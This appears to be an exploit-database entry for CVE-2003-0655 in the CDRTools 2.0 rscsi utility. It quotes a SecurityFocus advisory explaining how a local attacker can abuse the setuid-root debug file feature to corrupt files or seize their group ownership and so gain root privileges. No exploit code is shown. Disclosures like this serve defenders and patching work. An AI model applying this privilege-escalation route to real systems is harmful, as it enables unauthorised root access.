Description

CDRTools 2.0 RSCSI Debug File Arbitrary Local File Manipulation Vulnerability. CVE-2003-0655. Local exploit for linux platform

                                        
                                            source: http://www.securityfocus.com/bid/8328/info

It has been reported that the rscsi utility may provide for the modification of ownership and the corruption of arbitrary attacker specified files. 

It has been reported that a local attacker may invoke the rscsi utility to corrupt or seize group ownership of an attacker specified file. Because the rscsi utility is installed with setuid 'root' permissions by default, a local attacker may harness this vulnerability to achieve elevated privileges.
